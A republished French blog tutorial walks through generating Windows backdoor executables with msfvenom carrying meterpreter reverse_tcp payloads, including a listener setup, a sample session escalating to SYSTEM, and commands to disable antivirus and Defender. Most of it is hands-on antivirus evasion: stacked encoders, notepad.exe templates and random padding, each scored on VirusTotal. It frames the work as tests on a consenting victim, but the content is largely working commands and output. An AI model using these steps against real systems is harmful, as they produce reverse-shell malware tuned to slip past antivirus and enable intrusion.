Metasploit et msfvenom: Générer un exécutable Windows avec un PAYLOAD

Republication d’article

Source de l’article: Metasploit et msfvenom: Générer un exécutable Windows avec un PAYLOAD

J'ai déjà montré comment installermetaploit” sous Debian.
J'ai aussi montré comment s'appuyer sur diverses failles pour introduire le logiciel “meterpreter”.
J'ai aussi montré comment embarquer “meterpreter” dans un exécutable

Mais certains antivirus résistent encore (ou se mettent simplement à jour), et les techniques d'hier ne fonctionnent plus forcément aujourd'hui.

Donc, on va repartir des bases, et tenté de trouver des solutions…

Pré-requis

On a “metasploit” d'installé, et prêt à nous assister.

On a accès au poste d'une “victime” (consentante) avec les droits “Administrateur”: peu importe la méthode, il le faut pour nos tests.

Pour réaliser nos tests tranquillement, on désactive le service “antivirus” et “windows defender” (exemple):

C:\> sc stop avp
C:\> sc stop windefend

(a adapter selon votre environnement bien sur…)

Pour les exemples qui suivent , on va utiliser les paramètres suivants, sous forme de variables “BASH”.

$ export PAYLOAD_X86=windows/meterpreter/reverse_tcp
$ export PAYLOAD_X64=windows/x64/meterpreter/reverse_tcp
$ export LHOST=192.168.6.66
$ export LPORT=6666

"x86" or "x64" … what the heck

Avant de poursuivre, il faut faire un petit point sur le choix d'une architecture 32 bit ou 64 bit:
En 2018 et dans un monde parfait, l'architecture “x64” devrait être le seul choix.

Mais hélas, ce n'est pas si simple.

De ma petite expérience, un “PAYLOAD” en 32 bit aura plus de chance de fonctionner, et sera plus facilement camouflable aux antivirus.

Mais après une injection réussit d'un “PAYLOAD” en 32 bit, lorsqu'on a finalement “meterpreter” fonctionnant en 32 bit, on se rend compte que certain outils ne sont pas totalement opérationnel (“mimikatz” par exemple).

Plusieurs solutions sont proposés dans ce post.

"msfconsole" et "reverse_tcp"

Pour valider nos tests, on va devoir se mettre en attente de la connexion venant de la “victime” (“PAYLOAD:reverse_tcp”) sur notre poste d' “attaquant”.

Pour cela , on démarre “msfconsole” et on tapote:

msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.6.66
LHOST => 192.168.6.66
msf exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf exploit(multi/handler) > 

“192.168.6.66” et “6666” sont respectivement l'adresse IP et le port mis à disposition par l'“attaquant” (moi).

❗ Bien choisir l'architecture (“x86” ou “x64”) selon le “PAYLOAD” exploité de part et d'autre…
x86 windows/meterpreter/reverse_tcp
x64 windows/x64/meterpreter/reverse_tcp

Et puis on se met en attente.

msf exploit(multi/handler) > exploit -j                                          
[*] Exploit running as background job 0.                                         
msf exploit(multi/handler) >
[*] Started reverse TCP handler on 192.168.6.66:6666
                                                         
msf exploit(multi/handler) >

On peut vérifier que notre “job” est bien en attente:

msf exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                              Payload opts
  --  ----                    -------                              ------------
  0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp  tcp://192.168.6.66:6666

msf exploit(multi/handler) >

Par la suite, lorsqu'une session arrivera, on tapera:

msf exploit(multi/handler) > sessions <NUMERO_SESSION>

Pour recommencer, il faudra relancer l'exploit avec: “exploit -j

Exemple de situation réelle:

msf exploit(multi/handler) >
[*] Sending stage (206403 bytes) to 192.168.6.31
[*] Meterpreter session 3 opened (192.168.6.66:6666 -> 192.168.6.31:61300) at 2017-08-01 03:10:30 +0200

msf exploit(multi/handler) > sessions 3
[*] Starting interaction with 3...

meterpreter >

meterpreter > getuid
Server username: HACKME\victime
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: AUTORITE NT\Système
meterpreter > sysinfo
Computer        : HACKME0001
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : fr_FR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Pour plus d'informations, voir la doc de “msfconsole” et “meterpreter”.

Simple

Exemple de création d'un exécutable pour une architecture “64 bit” :

$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -f exe-only > backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe-only file: 6144 bytes
$

Vérifions:

$ file backdoor.exe
backdoor.exe: PE32+ executable (GUI) x86-64, for MS Windows
❗ Ne le faites pas: Le site “https://www.virustotal.com” devrait détecter que “backdoor.exe” est un malware.

Mon score: 16/62 😐

On peut copier “backdoor.exe” , et une fois exécuté, on peut constater qu'une session s'ouvre comme attendu du côté de “msfconsole”…

Camouflage…

On va tenté de réduire notre détection par des “antivirus” en masquant la signature du “PAYLOAD”.

Avec 1 encodage simple

On ajoute simplement les options “ -e x64/zutto_dekiru -i 3 -b 'x00'

$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -e x64/zutto_dekiru -i 3 -b 'x00' -f exe-only > backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x64/zutto_dekiru
x64/zutto_dekiru succeeded with size 557 (iteration=0)
x64/zutto_dekiru succeeded with size 610 (iteration=1)
x64/zutto_dekiru succeeded with size 666 (iteration=2)
x64/zutto_dekiru chosen with final size 666
Payload size: 666 bytes
Final size of exe-only file: 6144 bytes
$

Vous noterez que ça ne fonctionne pas forcément du 1er coup !
En effet, on demande a l'encodeur de masquer les “\x00” , ce qui n'est pas toujours possible.

Il faut soit recommencer, soit modifier les paramètres.

On peut noter ( voir “msfvenom --list”) qu'il y a peu d'encodeur disponible pour des “PAYLOAD” en 64 bit, en regard de ce qui existe pour l'architecture 32 bit …

Notre “backdoor.exe” fonctionne toujours, et cette fois, le score sur “https://www.virustotal.com” (ne le faites pas) est de : 13/65 🙂

C'est mieux , mais pas top.

Avec "template"

Par défaut, on a créé une “backdoor” en s'appuyant sur des modèles (“template”) d'exécutable fournit par “metasploit”.

On va lui fournir un autre modèle pioché au hasard de nos balades sur les OS… par exemple: “notepad.exe” 😀

Vérifions notre “modèle”:

$ file notepad.exe
notepad.exe: PE32+ executable (GUI) x86-64, for MS Windows

Nous ajoutons simplement l'option “-x notepad.exe” et nous créons notre “backdoor.exe” :

$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -x notepad.exe -f exe-only > backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe-only file: 193536 bytes

Nous pouvons vérifier que notre “backdoor.exe” fonctionne.

Score “https://www.virustotal.com” (ne le faites pas): 16/66 :-\

Avec 1 encodage et 1 template

Combinons 1 simple encodage avec un modèle comme “notepad.exe”:

$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -e x64/zutto_dekiru -i 3 -b 'x00' -x notepad.exe -f exe-only > backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x64/zutto_dekiru
x64/zutto_dekiru succeeded with size 563 (iteration=0)
x64/zutto_dekiru succeeded with size 618 (iteration=1)
x64/zutto_dekiru succeeded with size 675 (iteration=2)
x64/zutto_dekiru chosen with final size 675
Payload size: 675 bytes
Final size of exe-only file: 193536 bytes
$

Notre “backdoor.exe” fonctionne toujours, et le score “https://www.virustotal.com” est de : 10/65 🙂

C'est mieux, mais j'ai 2 gros problèmes persistant:

Antivirus Résultat
Kaspersky HEUR:Trojan.Win64.Generic
Microsoft Trojan:Win64/Meterpreter.E

On a besoin de faire mieux pour nous débarrasser de ces 2 là …

Encodage en couches

Il y a une autre manière de construire un “PAYLOAD” avant de l'embarquer dans un “modèle”…

Nous allons créé un “PAYLOAD” tout nu (“raw”), et nous allons lui appliquer plusieurs encodages.

Pour que ça fonctionne, on va devoir préciser 2 nouveaux paramètres:

$ export ARCH=x64
$ export PLAT=Windows

x64

Voyons d'abord avec l'architecture “x64”:

$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -f raw > stagepl.raw
$ cat stagepl.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/xor -b 'x1f' -i 5 -f raw > stage2.raw
$ cat stage2.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/zutto_dekiru -i 3 -b 'x00' -f raw > stage3.raw
$ cat stage3.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/xor -b 'xaaxcc' -i 5 -f raw > stage4.raw
$ cat stage4.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/zutto_dekiru -b 'x00' -i 3 -x notepad.exe -f exe-only > backdoor.exe

Mais au final, vu l'effort fournit, le score avec “https://www.virustotal.com” est décevant: 10/66 🙁

On peut améliorer un tout petit peu ce score, malgré tout, en ajoutant un peu de données aléatoires a la fin de notre “modèle”.

Voyons ça, d'abord en créant un fichier avec des données aléatoires:

$ dd if=/dev/urandom of=./random.raw bs=512 count=100

Et enfin on concatène “notepad.exe” avec ces données (à la fin) pour créé un nouveau modèle nommé “rand_notepad.exe” .

$ cat notepad.exe random.raw > rand_notepad.exe

On recommence la dernière étape de notre création de “backdoor.exe” avec ce “modèle”:

$ cat stage4.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/zutto_dekiru -b 'x00' -i 3 -x rand_notepad.exe -f exe-only > backdoor.exe

Le score avec “https://www.virustotal.com” est un peu moins décevant: 8/65 😐

❗ C'est une mauvaise idée d'utiliser “notepad.exe”, ou tout programme venant de “Windows”.
Intéressez-vous a des “modèles” peu connu.

x86

Donc, nous allons passé à l'architecture “x86”, qui est un peu plus riche en “encodeurs”…

En conséquence, nous modifions quelques variables de notre environnement:

$ export ARCH=x86
$ export PLAT=Windows

Rappel, nous changeons de “PAYLOAD” aussi:

$ echo $PAYLOAD_X86
windows/meterpreter/reverse_tcp

Travaillons en couche, et avec pour modèle “notepad.exe” version 32 bit.

$ msfvenom -p "$PAYLOAD_X86" LHOST="$LHOST" LPORT="$LPORT" -f raw > stagepl.raw
$ cat stagepl.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/bloxor -b 'x00' -i 5 -f raw > stage2.raw
$ cat stage2.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/shikata_ga_nai -b 'x00xff' -i 10 -f raw > stage3.raw
$ cat stage3.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/jmp_call_additive -b 'x00' -i 5 -f raw > stage4.raw
$ cat stage4.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/call4_dword_xor -i 9 -b 'x00' -x notepad.exe -f exe-only > backdoor.exe

Au final, le score “https://www.virustotal.com” est terriblement décevant: 21/63 🙁

Et lorsqu'on regarde ce qui a été détecté, ce n'est pas le “PAYLOAD” , mais simplement la signature de l'encodeur !!! 🙁

Antivirus Résultat
ClamAV Win.Exploit.Call4_Dword_Xor-1
BitDefender DeepScan:Generic.RozenA.6A03F810

A suivre…